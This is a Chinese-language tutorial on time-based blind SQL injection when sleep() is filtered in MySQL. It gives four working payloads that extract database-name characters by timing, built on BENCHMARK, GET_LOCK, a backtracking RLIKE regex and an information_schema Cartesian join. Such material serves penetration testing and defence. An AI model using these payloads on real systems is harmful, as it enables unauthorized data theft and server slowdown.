### SQL 延时盲注 sleep() 被禁用怎么绕过

1. 利用 BENCHMARK() 函数

`BENCHMARK()` 函数是 MySQL 中一个非常有用的性能测试函数。它的作用是让一个函数重复执行多次，并返回执行时间。我们可以利用这个特性来造成可控的延时

- 原理: `BENCHMARK(count, expr)` 会让 `expr` 表达式执行 `count` 次。如果我们让它执行一个耗时但无害的操作，就可以造成明显的延时

- 基本语法: `BENCHMARK(count, expr)`

- 利用方式:

      # 让 MD5('a') 重复执行 5,000,000 次，从而造成延时
      AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(5000000, MD5('a')), 1)

  解释:

  - `IF(condition, true_value, false_value)`：这是一个条件判断语句
  - `ascii(substr(database(),1,1))=115`：这是我们的注入条件，判断数据库名的第一个字符的 ASCII 值是否为 115（即 `'s'`）
  - 如果条件为真，`BENCHMARK()` 函数被执行，导致页面延迟；如果条件为假，则立即返回 `1`，页面没有延迟

2. 利用 GET_LOCK() 函数

`GET_LOCK()` 函数是 MySQL 中的一个锁函数。它可以获取一个指定的锁，并在指定的超时时间内等待。如果锁被其他会话占用，它就会一直等待直到超时。我们可以利用这个特性来造成延时

- 原理: `GET_LOCK(str, timeout)` 函数尝试获取一个名为 `str` 的锁，并等待 `timeout` 秒

- 利用方式:

      # 如果条件为真，则获取一个名为 'a' 的锁并等待 5 秒
      AND IF(ascii(substr(database(),1,1))=115, GET_LOCK('a', 5), 1)

  这种方法的缺点是，如果多个请求同时执行，可能会因为锁竞争而造成不可预知的行为

3. 利用 RLIKE/REGEXP 的正则特性

当使用 `RLIKE` 或 `REGEXP` 进行正则表达式匹配时，如果正则表达式足够复杂，并且目标字符串足够长，也会造成明显的性能消耗，从而实现延时效果

- 原理: 构造一个回溯（backtracking）量较大的正则表达式，让 MySQL 在匹配时消耗大量 CPU 资源

- 利用方式:

      # 构造一个高回溯的正则表达式来消耗 CPU
      AND IF(ascii(substr(database(),1,1))=115, (SELECT concat(rpad('',4999999,'a'),rpad('',4999999,'a'),'a') RLIKE '(a.*)+(a.*)+'), 1)

  解释: `rpad()` 函数用于填充字符串，使其变得很长。`RLIKE '(a.*)+(a.*)+'` 是一个典型的回溯型正则表达式。当字符串很长时，匹配会非常耗时

4. 利用笛卡尔积

通过制造一个巨大的笛卡尔积，可以使查询的执行时间大大增加

- 原理: 当两个大表没有关联地进行连接时，结果集的行数是两个表行数的乘积

- 利用方式:

      # 使用 information_schema.tables 来制造一个笛卡尔积
      AND IF(ascii(substr(database(),1,1))=115, (SELECT COUNT(*) FROM information_schema.tables a, information_schema.columns b), 1)

  这种方法同样会造成明显的延迟，但查询结果可能会占用大量内存